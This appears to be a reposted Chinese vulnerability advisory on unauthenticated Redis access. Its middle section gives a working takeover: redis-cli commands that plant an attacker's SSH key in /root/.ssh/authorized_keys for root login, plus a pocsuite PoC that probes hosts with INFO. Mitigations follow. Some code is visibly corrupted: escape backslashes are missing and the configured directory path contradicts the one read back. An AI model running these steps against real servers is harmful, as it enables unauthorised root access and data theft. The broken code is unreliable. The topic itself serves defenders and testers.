Redis 未授权访问缺陷可轻易导致系统被黑

简介: Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
+关注继续查看

Redis 未授权访问缺陷可轻易导致系统被黑


漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。***者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。***者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,***者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。

根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1.    漏洞分析与利用

首先在本地生产公私钥文件:

Shell

1

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

Shell

1

$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt

再连接Redis写入文件

Shell

1

2

3

4

5

6

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

$ redis-cli -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK

$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK

$ 192.168.1.11:6379> saveOK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后***者直接执行:

Shell

1

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

一旦***者能够在服务器端执行任意代码, ***方式将会变得多且复杂, 这是非常危险的.

通过Lua代码***者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为***者的后续***做铺垫

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

全球无验证可直接利用 Redis 分布情况

全球无验证可直接利用 Redis TOP 10 国家与地区

漏洞 PoC


Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

#!/usr/bin/env python

# -*- coding:utf-8 -*-

import socket

import urlparse

from pocsuite.poc import POCBase, Output

from pocsuite.utils import register

class TestPOC(POCBase):

    vulID = '89339'

    version = '1'

    author = ['Anonymous']

    vulDate = '2015-10-26'

    createDate = '2015-10-26'

    updateDate = '2015-10-26'

    references = ['http://sebug.net/vuldb/ssvid-89339']

    name = 'Redis 未授权访问 PoC'

    appPowerLink = 'http://redis.io/'

    appName = 'Redis'

    appVersion = 'All'

    vulType = 'Unauthorized access'

    desc = '''

        redis 默认不需要密码即可访问,***直接访问即可获取数据库中所有信息,造成严重的信息泄露。

    '''

    samples = ['']

    def _verify(self):

        result = {}

        payload = 'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a'

        s = socket.socket()

        socket.setdefaulttimeout(10)

        try:

            host = urlparse.urlparse(self.url).netloc

            port = 6379

            s.connect((host, port))

            s.send(payload)

            recvdata = s.recv(1024)

            if recvdata and 'redis_version' in recvdata:

                result['VerifyInfo'] = {}

                result['VerifyInfo']['URL'] = self.url

                result['VerifyInfo']['Port'] = port

        except:

            pass

        s.close()

        return self.parse_attack(result)

    def _attack(self):

        return self._verify()

    def parse_attack(self, result):

        output = Output(self)

        if result:

            output.success(result)

        else:

            output.fail('Internet nothing returned')

        return output

register(TestPOC)


解决方案

临时解决方案

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.

  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.

  3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给***者使用config指令加大难度

  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

官方解决方案

暂无官方解决方案

推荐防护方案

暂无防护方案


目录
相关文章
|
4月前
|
NoSQL 安全 Shell
Redis未授权访问漏洞(自写自动化利用EXP分享)
# 前言: 之前已经有文章写过redis未授权访问的利用总结了,这次主要是py脚本自动化的一个小分享吧。也算是对自己学习的一个记录..
122 0
|
4月前
|
NoSQL 安全 Shell
Redis未授权访问漏洞的利用总结
Redis 默认情况下,会绑定在 0.0.0.0的6379端口上,如果没有设置相关的策略和安全配置,会将 Redis 服务直接暴露在公网上,在没有设置密码认证的情况下,会导致攻击者可以未授权访问 Redis服务读取、甚至是修改 Redis 的数据
149 0
|
9月前
|
机器学习/深度学习 移动开发 NoSQL
13 redis未授权访问漏洞
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配致其他用户可以无需认证授权真接访问从而引发重票权限可被操作、数据目录等敏感信息泄察
13 redis未授权访问漏洞
|
9月前
|
缓存 运维 NoSQL
102. 如何正确访问Redis中的海量数据?服务才不会挂掉
102. 如何正确访问Redis中的海量数据?服务才不会挂掉
73 0
|
9月前
|
缓存 NoSQL 网络协议
利用Java来访问Redis并对Redis进行相关操作以及spring+redis集成配置与注解式注解
redis缓存的一些注意事项 只应将热数据放到缓存中 所有缓存信息都应设置过期时间 缓存过期时间应当分散以避免集中过期 缓存key应具备可读性 应避免不同业务出现同名缓存key 可对key进行适当的缩写以节省内存空间 选择合适的数据结构 确保写入缓存中的数据是完整且正确的 避免使用耗时较长的操作命令,如:keys * Redis默认配置中操作耗时超过10ms即视为慢查询 一个key对应的数据不应过大 对于string类型,一个key对应的value大小应控制在10K以内,1K左右更优hash类型,不应超过5000行
|
9月前
|
NoSQL 关系型数据库 MySQL
Linux中安装Docker,在Docker中安装MySQL和Redis并在Windows下连接访问(图文教程)
Linux中安装Docker,在Docker中安装MySQL和Redis并在Windows下连接访问(图文教程)
277 0
Linux中安装Docker,在Docker中安装MySQL和Redis并在Windows下连接访问(图文教程)
|
9月前
|
NoSQL 安全 网络协议
|
存储 缓存 NoSQL
Redis未授权访问漏洞
利用Redis实现攻击的三种方式
Redis未授权访问漏洞
|
NoSQL 安全 网络安全
Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。
2943 0
推荐文章
更多